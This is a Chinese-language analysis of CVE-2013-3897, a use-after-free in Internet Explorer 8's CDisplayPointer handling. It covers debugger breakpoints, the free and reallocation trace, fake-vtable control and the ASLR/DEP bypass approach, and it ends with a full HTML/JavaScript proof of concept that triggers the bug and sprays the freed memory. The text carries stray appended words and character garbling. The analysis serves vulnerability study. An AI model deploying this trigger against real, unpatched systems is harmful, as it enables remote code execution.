此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存。攻击者能够利用此类漏洞实现远程代码执行。UAF漏洞的根源源于对对象引用计数的处理不当,好比在编写程序时忘记AddRef或者多加了Release,最终致使对象的释放。对于IE的大部分对象(COM编程实现)来讲,+4偏移处的含义是该对象的引用计数,能够经过跟踪它来定位补丁先后的位置及被释放的位置。+0偏移处的含义是该对象的虚函数表指针,能够经过它来改变程序执行流程。html
操做系统:Win7 SP1shell
浏览器:IE8(补丁Windows6.1-KB2879017-x86前)编程
漏洞编号:CVE-2013-3897浏览器
看到crash缘由是 call dword ptr [eax] 处引用了无效的内存空间。查看崩溃处的上下文。app
查看ebx,此时ebx==0031c094。查看函数调用回溯。ide
ebx的值也是 mshtml!QIClassID 的第一个参数,mshtml!CDoc::ScrollPointerIntoView 的第二个参数;它是一个0x48大小的对象,也是释放后被重用的对象。函数
mshtml!CDoc::ScrollPointerIntoView,查看[ebp+0Ch]的变化(即函数的第二个参数,被释放的对象),有以下片断。布局
在调用mshtml!QIClassID前又调用了mshtml!CDoc::GetLineInfo,所以接下来在mshtml!CDoc::ScrollPointerIntoView和call mshtml!CDoc::GetLineInfo处设置断点,分析参数二[ebp+0Ch]的状态。学习
开启gflags的Create user mode stack trace database功能(用于进行堆回溯)。编码
在POC中加入以下用于跟踪执行流程的调试语句
IE8下:Math.atan2(0x999, "[*] Before Unselect");
设置如下断点,观察被释放的对象
bu mshtml!CDoc::ScrollPointerIntoView
bu CDoc::ScrollPointerIntoView+0x32
bu CDoc::ScrollPointerIntoView+0x37
bu jscript!JsAtan2 ".echo;.printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;.echo;"
经过调试语句能够得知执行流程:执行godzilla.onpropertychange = fun_onpropertychange ;后当即触发了onpropertychange事件,调用fun_onpropertychange
执行godzilla.select();后当即触发了onselect事件,调用fun_onselect;fun_onselect内部执行完swapNode后,会来到mshtml!CDoc::ScrollPointerIntoView。
观察mshtml!CDoc::ScrollPointerIntoView的参数二[ebp+0Ch] == 046e85b4
它是一个mshtml!CDisplayPointer对象,所以释放后重用的对象就是 CDisplayPointer ,它在select事件被触发时建立,建立过程以下(注意,这里的046e85b4,相对046e8580偏移为0x34;相对046e8598(UserPtr)的偏移为1c;1c/4=7)
所以整个过程为godzilla.select();触发onselect事件,调用fun_onselect。在此过程当中建立一个mshtml!CDisplayPointer对象,fun_onselect内部执行完swapNode后函数mshtml!CDisplayPointer::ScrollIntoView将要经过mshtml!CDisplayPointe对象来设置新的展现位置。
后边来到mshtml!CDoc::ScrollPointerIntoView的call mshtml!CDoc::GetLineInfo处,此时CDisplayPointer 对象还未被释放。
对这个对象(UserPtr)的释放过程设置断点:
bu mshtml!CDisplayPointer::Release ".if ( poi(esp+0x4) == 046e8598 ){} .else{gc}"
bu ntdll!RtlFreeHeap ".if ( poi(esp+0xc) == 046e8598 ){} .else{gc}"
由于调用了swapNode,textarea的valueproperty被改变。随后onpropertychange事件被触发,调用fun_onpropertychange
[*] Enter onpropertychange
[*] Before Unselect
document.execCommand("Unselect");的执行,致使了 CDisplayPointer 对象被释放,此时对象释放函数被触发,对象将被释放。
(若是只对bu mshtml!CDisplayPointer::Release下断点,以后的几回mshtml!CDisplayPointer::Release:是对其余对象的解引用及释放。)
经过对象释放的堆栈回溯能够看出,mshtml!CDisplayPointer::ScrollIntoView随后触发了onpropertychange事件,fun_onpropertychange内部的Unselect命令致使了对象的释放。
CDisplayPointer对象释放后当即对内存进行占位,经过对RtlAllocateHeap设置条件断点,能够定位内存占位。
ntdll!RtlAllocateHeap+XXX(定位函数返回时eax的值,换成硬编码)
77d92eb8 ".if (eax == 046e8598){} .else{gc}"
而后来到下图所示
此时对象已经被释放,并被占位。POC中对应的代码:war[i].className = data; 申请了17*4+2=70 (0x46) 最后有个\u0000终止符,所以总数是0x48。
同时在POC中,在第八个4字节处设置伪造的虚函数表地址(由于0x046e85b4相对UserPtr的偏移为0x1C=4*7,相对堆块起始位置的偏移为0x34),从而控制执行流程。
若是将POC中对应的代码设置为
对后来的call mshtml!QIClassID下断点,[ebp+8]即指向释放后从新占位的对象
其内部将索引对象的第一个虚函数,最终调用call dword ptr [eax]。此时eax为咱们已经布置好的shellcode(最前面是伪造的虚函数表)的地址(即伪造的虚函数表的地址)。call dword ptr [eax]将调用其第一个虚函数。
此UAF漏洞释放后重用的目标是对象的虚函数表,所以经过伪造虚函数表来获取执行流程。因为此漏洞的局限性,咱们不能经过它来绕过ASLR只能在利用代码中,只能使用Java 6运行环境JRE1.6的msvcr71.dll(或其余non-ASLR模块)来绕过ASLR。也能够配合其余漏洞,获取模块基址及shellcode的地址来绕过ASLR。最终构造ROP绕过DEP,实现远程代码执行。
经过non-ASLR模块绕过ASLR的过程比较简单,详见EXP代码。
UAF漏洞的成因通常都是由于在编程过程当中对引用计数的处理不当致使对象被释放后重用的。利用UAF漏洞实现远程代码执行,首先须要Bypass ASLR,得到模块基址及shellcode的地址(也能够经过堆喷射在指定内存空间布置shellcode),而后硬编码、动态构造ROP来Bypass DEP,最终实现任意代码的执行。
不一样的UAF漏洞利用方式会有不一样,可是分析它们的流程基本一致。
[1] CVE-2013-3897漏洞分析:http://www.freebuf.com/articles/system/29445.html
[2] CVE-2013-3897样本分析学习笔记:http://www.91ri.org/7900.html
[3] CVE-2013-3897 UAF Analysis:http://thecjw.0ginr.com/blog/?p=187
<html> <head> <script> var data = ""; for (i=0; i<17; i++) { if (i==7) { data += unescape("%u2020%u2030"); //data += "\u4141\u4141"; } else { data += "\u4141\u4141"; } } data += "\u4141"; function butterfly() { for(i=0; i<20; i++) { var effect = document.createElement("div"); effect.className = data; } } var battleStation = false; var war = new Array(); var godzilla ; var minilla ; var battleStation = false; function fun_onselect() { Math.atan2(0x999, "[*] Before swapNode"); minilla.swapNode(document.createElement("div")); // 调用swapNode,经过交换节点从页面布局删除textarea了,同时触发 onpropertychange 事件; Math.atan2(0x999, "[*] After swapNode"); } // fun_onpropertychange第一次被调用时是由于改变了DOM,第二次调用是由swapNode致使的,当即进行内存占位 function fun_onpropertychange() { Math.atan2(0x999, "[*] Enter onpropertychange"); if (battleStation == true) { for (i=0; i<50; i++) { war.push(document.createElement("span")); } } Math.atan2(0x999, "[*] Before Unselect"); document.execCommand("Unselect"); // 使用了document.execCommand("Unselect")命令撤销 select ,致使了CDisplayPointer对象被释放 Math.atan2(0x999, "[*] After Unselect"); if (battleStation == true) // 对已经释放的CDisplayPointer内存进行占位 { for (i=0; i < war.length; i++) { war[i].className = data; } } else { battleStation = true; } Math.atan2(0x999, "[*] Leave onpropertychange"); } function kaiju() { godzilla = document.createElement("textarea"); // Create a CTextArea Object minilla = document.createElement("pre"); document.body.appendChild(godzilla); document.body.appendChild(minilla); godzilla.appendChild(minilla); godzilla.onselect = fun_onselect ; // 给textarea元素设置 select 处理函数,当textarea文本框被选中时触发并调用处理函数 Math.atan2(0x999, "[*] Before godzilla.onpropertychange"); godzilla.onpropertychange = fun_onpropertychange ; // 给textarea元素设置 onpropertychange 事件处理函数,当属性变化时触发调用 Math.atan2(0x999, "[*] After godzilla.onpropertychange"); //butterfly(); Math.atan2(0x999, "[*] Before godzilla.select()"); godzilla.select(); // 主动触发 select 处理函数 Math.atan2(0x999, "[*] After godzilla.select()"); } </script> </head> <body onload='kaiju()'> </body> </html>